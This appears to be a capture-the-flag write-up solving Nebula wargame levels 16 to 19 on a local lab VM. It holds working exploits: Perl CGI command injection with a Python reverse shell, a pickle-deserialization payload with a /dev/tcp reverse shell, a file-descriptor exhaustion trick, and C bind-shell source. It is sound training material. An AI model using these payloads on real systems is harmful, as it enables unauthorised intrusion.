index search github twitter

Exploit-Exercises: Nebula (16-19)

Image: Exploit-Exercises: Nebula (v5)

Level16

There is a perl script running on port 1616, source:

#!/usr/bin/env perl

use CGI qw{param};

print "Content-type: text/html\n\n";

sub login {
  $username = $_[0];
  $password = $_[1];

  $username =~ tr/a-z/A-Z/; # conver to uppercase
  $username =~ s/\s.*//;        # strip everything after a space

  @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
  foreach $line (@output) {
      ($usr, $pw) = split(/:/, $line);
  

      if($pw =~ $password) {
          return 1;
      }
  }

  return 0;
}

sub htmlz {
  print("<html><head><title>Login resuls</title></head><body>");
  if($_[0] == 1) {
      print("Your login was accepted<br/>");
  } else {
      print("Your login failed<br/>");
  }    
  print("Would you like a cookie?<br/><br/></body></html>\n");
}

htmlz(login(param("username"), param("password")));

The service is running with flag16 privileges:

sh-4.2$ ps auxww | grep [f]lag16
flag16    1314  0.0  0.3   2592   836 ?        Ss   Jun18   0:01 /usr/sbin/thttpd -C /home/flag16/thttpd.conf

Clearly, there is RCE vulnerability (line 14), we can check it creating an arbitrary file:

sh-4.2$ wget -q -O /dev/null "http://192.168.80.136:1616/index.cgi?username=%24(>abcd)&password=x" 

sh-4.2$ ls -l /home/flag16/ABCD 
-rw-rw-r-- 1 flag16 flag16 0 2015-06-21 00:16 /home/flag16/ABCD

Only problem is that input is uppercased and everything after whitespace character is stripped:

$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//;    # strip everything after a space

We tried several other methods without success. In the later case, the shell runs, but we cannot do anything useful:

http://192.168.80.136:1616/index.cgi?username=$(CMD=YES;${CMD~~})&password
http://192.168.80.136:1616/index.cgi?username=$($SHELL)&password

Our solution was to create uppercased file in /tmp/ and use * expansion, telling bash to find the correct directory.

sh-4.2$ cat SH 
python -c "import sys,socket,os,pty; _,ip,port=sys.argv; s=socket.socket(); s.connect((ip,int(port))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn('/bin/bash')" nebula 1337

sh-4.2$ chmod +x SH 

sh-4.2$ nc -l 1337

# http://192.168.80.136:1616/index.cgi?username=$(/*/SH)
sh-4.2$ wget -q -O /dev/null "http://192.168.80.136:1616/index.cgi?username=%24(/%2A/SH)

flag16@nebula:/home/flag16$ getflag
getflag
You have successfully executed getflag on a target account

Level17

#!/usr/bin/python

import os
import pickle
import time
import socket
import signal

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

def server(skt):
  line = skt.recv(1024)

  obj = pickle.loads(line)

  for i in obj:
      clnt.send("why did you send me " + i + "?\n")

skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)

while True:
  clnt, addr = skt.accept()

  if(os.fork() == 0):
      clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
      server(clnt)
      exit(1)

According documentation it is not safe to use data from untrusted source, so pickle.loads on line 14 means RCE:

Warning The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.

Our exploit for executing remote shell:

#!/usr/bin/env python

from cPickle import dumps
from os      import system

class Exploit(object):
    def __reduce__(self): return (system, ('bash -i >& /dev/tcp/0.0.0.0/1337 0>&1',))

print dumps(Exploit())
# Window 1: 
sh-4.2$ nc -l 1337

# Window 2:
sh-4.2$ ./exploit.py
cposix
system
p1
(S'bash -i >& /dev/tcp/0.0.0.0/1337 0>&1'
p2
tp3
Rp4
.

sh-4.2$ ./exploit.py | nc nebula 10007
Accepted connection from 127.0.0.1:42532

# Window 1:
bash: no job control in this shell
flag17@nebula:/$ getflag
getflag
You have successfully executed getflag on a target account

Level18

According challenge info, there are several ways how to solve this challenge.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>

struct {
  FILE *debugfile;
  int verbose;
  int loggedin;
} globals;

#define dprintf(...) if(globals.debugfile) \
  fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
  fprintf(globals.debugfile, __VA_ARGS__)

#define PWFILE "/home/flag18/password"

void login(char *pw)
{
  FILE *fp;

  fp = fopen(PWFILE, "r");
  if(fp) {
      char file[64];

      if(fgets(file, sizeof(file) - 1, fp) == NULL) {
          dprintf("Unable to read password file %s\n", PWFILE);
          return;
      }
                fclose(fp);
      if(strcmp(pw, file) != 0) return;       
  }
  dprintf("logged in successfully (with%s password file)\n",
      fp == NULL ? "out" : "");
  
  globals.loggedin = 1;

}

void notsupported(char *what)
{
  char *buffer = NULL;
  asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
  dprintf(what);
  free(buffer);
}

void setuser(char *user)
{
  char msg[128];

  sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
  printf("%s\n", msg);

}

int main(int argc, char **argv, char **envp)
{
  char c;

  while((c = getopt(argc, argv, "d:v")) != -1) {
      switch(c) {
          case 'd':
              globals.debugfile = fopen(optarg, "w+");
              if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
              setvbuf(globals.debugfile, NULL, _IONBF, 0);
              break;
          case 'v':
              globals.verbose++;
              break;
      }
  }

  dprintf("Starting up. Verbose level = %d\n", globals.verbose);

  setresgid(getegid(), getegid(), getegid());
  setresuid(geteuid(), geteuid(), geteuid());
  
  while(1) {
      char line[256];
      char *p, *q;

      q = fgets(line, sizeof(line)-1, stdin);
      if(q == NULL) break;
      p = strchr(line, '\n'); if(p) *p = 0;
      p = strchr(line, '\r'); if(p) *p = 0;

      dvprintf(2, "got [%s] as input\n", line);

      if(strncmp(line, "login", 5) == 0) {
          dvprintf(3, "attempting to login\n");
          login(line + 6);
      } else if(strncmp(line, "logout", 6) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "shell", 5) == 0) {
          dvprintf(3, "attempting to start shell\n");
          if(globals.loggedin) {
              execve("/bin/sh", argv, envp);
              err(1, "unable to execve");
          }
          dprintf("Permission denied\n");
      } else if(strncmp(line, "logout", 4) == 0) {
          globals.loggedin = 0;
      } else if(strncmp(line, "closelog", 8) == 0) {
          if(globals.debugfile) fclose(globals.debugfile);
          globals.debugfile = NULL;
      } else if(strncmp(line, "site exec", 9) == 0) {
          notsupported(line + 10);
      } else if(strncmp(line, "setuser", 7) == 0) {
          setuser(line + 8);
      }
  }

  return 0;
}

First thing that we tried was to use parameter -d /home/flag18/password to rewrite password file with the known output, however the strcmp() doesn’t match for the reason that we cannot insert the newline character to the end of our string.

The fclose() on line 34 is not aligned, that’s strange. We found out that this call is not used in the binary file:

sh-4.2$ gdb -batch -ex 'file /home/flag18/flag18' -ex 'set disassembly-flavor intel' -ex 'disassemble login' | grep close
sh-4.2$ 

We can use login function to exhaust file descriptors, because when the fopen() fails, we will be logged in. After a few tries:

sh-4.2$ help ulimit
[..snip..] 
      -n        the maximum number of open file descriptors
[..snip..] 

sh-4.2$ ulimit -n 8

sh-4.2$ /home/flag18/flag18 -d /dev/tty -vvv
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
/home/flag18/flag18: -d: invalid option
Usage:  /home/flag18/flag18 [GNU long option] [option] ...
        /home/flag18/flag18 [GNU long option] [option] script-file ...
GNU long options:
        --debug
        --debugger
        --dump-po-strings
        --dump-strings
        --help
        --init-file
        --login
        --noediting
        --noprofile
        --norc
        --posix
        --protected
        --rcfile
        --restricted
        --verbose
        --version
Shell options:
        -irsD or -c command or -O shopt_option          (invocation only)
        -abefhkmnptuvxBCHP or -o option

We used closelog to close one used descriptor and the shell is invoked, unfortunately we need to get rid of -d parameter too, bash is recycling our argv, see execve("/bin/sh", argv, envp);.

We tried --init-file as it has the second argument some file:

sh-4.2$ ulimit -n 5

sh-4.2$ /home/flag18/flag18 --init-file -d /dev/tty -vvv
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'n'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 't'
/home/flag18/flag18: invalid option -- '-'
/home/flag18/flag18: invalid option -- 'f'
/home/flag18/flag18: invalid option -- 'i'
/home/flag18/flag18: invalid option -- 'l'
/home/flag18/flag18: invalid option -- 'e'
Starting up. Verbose level = 3
login
got [login] as input
attempting to login
login
got [login] as input
attempting to login
logged in successfully (without password file)
closelog
got [closelog] as input
shell
id
uid=981(flag18) gid=1019(level18) groups=981(flag18),1019(level18)
getflag
You have successfully executed getflag on a target account

Second way is to use format string exploitation, line 48 is vulnerable at notsupported() function.

For debugging, we downloaded gdb-peda:

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
level18@nebula:/tmp$ gdb -q /home/flag18/flag18 
Reading symbols from /home/flag18/flag18...(no debugging symbols found)...done.

gdb-peda$ checksec 
CANARY    : ENABLED
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : Partial

Because the Fortify2, there was no easy way to solve it, technique from phrack #67 could be very useful.

There is also buffer overflow in setuser() function, that doesn’t seem to be exploitable.

Level19

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent process\n");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this program\n");
}

To pass the last challenge, our process parent id should match uid 0. This could be easily achieved when the parent dies and the orphan process is adopted by init.

man 2 wait

  A child that terminates, but has not been waited for becomes a "zombie".  The
  kernel maintains a minimal set of information about the zombie process (PID,
  termination status, resource usage information) in order to allow the parent to
  later perform a wait to obtain information about the child.  As long as a
  zombie  is  not  removed from  the  system  via a wait, it will consume a slot
  in the kernel process table, and if this table fills, it will not be possible
  to create further processes.  If a parent process terminates, then its "zombie"
  children (if any) are adopted by init(8), which automatically performs a wait
  to remove the zombies.  

Exploit:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char * argv) {

    pid_t childpid = fork();

    if (childpid == 0) { /* child */
        char *cmd = "/home/flag19/flag19";
        char *argv[] = { "/bin/sh", "-c", "/tmp/bindshell" };

        sleep(3);
        execv(cmd, argv);
    } else { sleep(1); exit(1); }
}

Binding shell to port 2448, binary will be called from exploit.

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

int main(int argc, char **argv)
{
        int sockfd;
        int clientfd;
        socklen_t cli_len;

        struct sockaddr_in srv_addr;
        struct sockaddr_in cli_addr;

        srv_addr.sin_family = AF_INET;
        srv_addr.sin_port = htons(2448);
        srv_addr.sin_addr.s_addr = htonl(INADDR_ANY);

        sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

        bind(sockfd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
        listen(sockfd, 0);

        /* accept new connections */
        cli_len = sizeof(cli_addr)-1;
        clientfd = accept(sockfd, (struct sockaddr *)&cli_addr, &cli_len );

        dup2(clientfd, 0); /* replace 0 with clientfd */
        dup2(0, 1);        /* replace stdout & stderr */
        dup2(0, 2); 

        setreuid(geteuid(), geteuid());

        execv("/bin/sh", NULL);
}
sh-4.2$ cd /tmp

sh-4.2$ gcc bindshell.c -o bindshell

sh-4.2$ gcc exploit19.c -o exploit19

sh-4.2$ ./exploit19 

sh-4.2$ nc 0 2448
id
uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account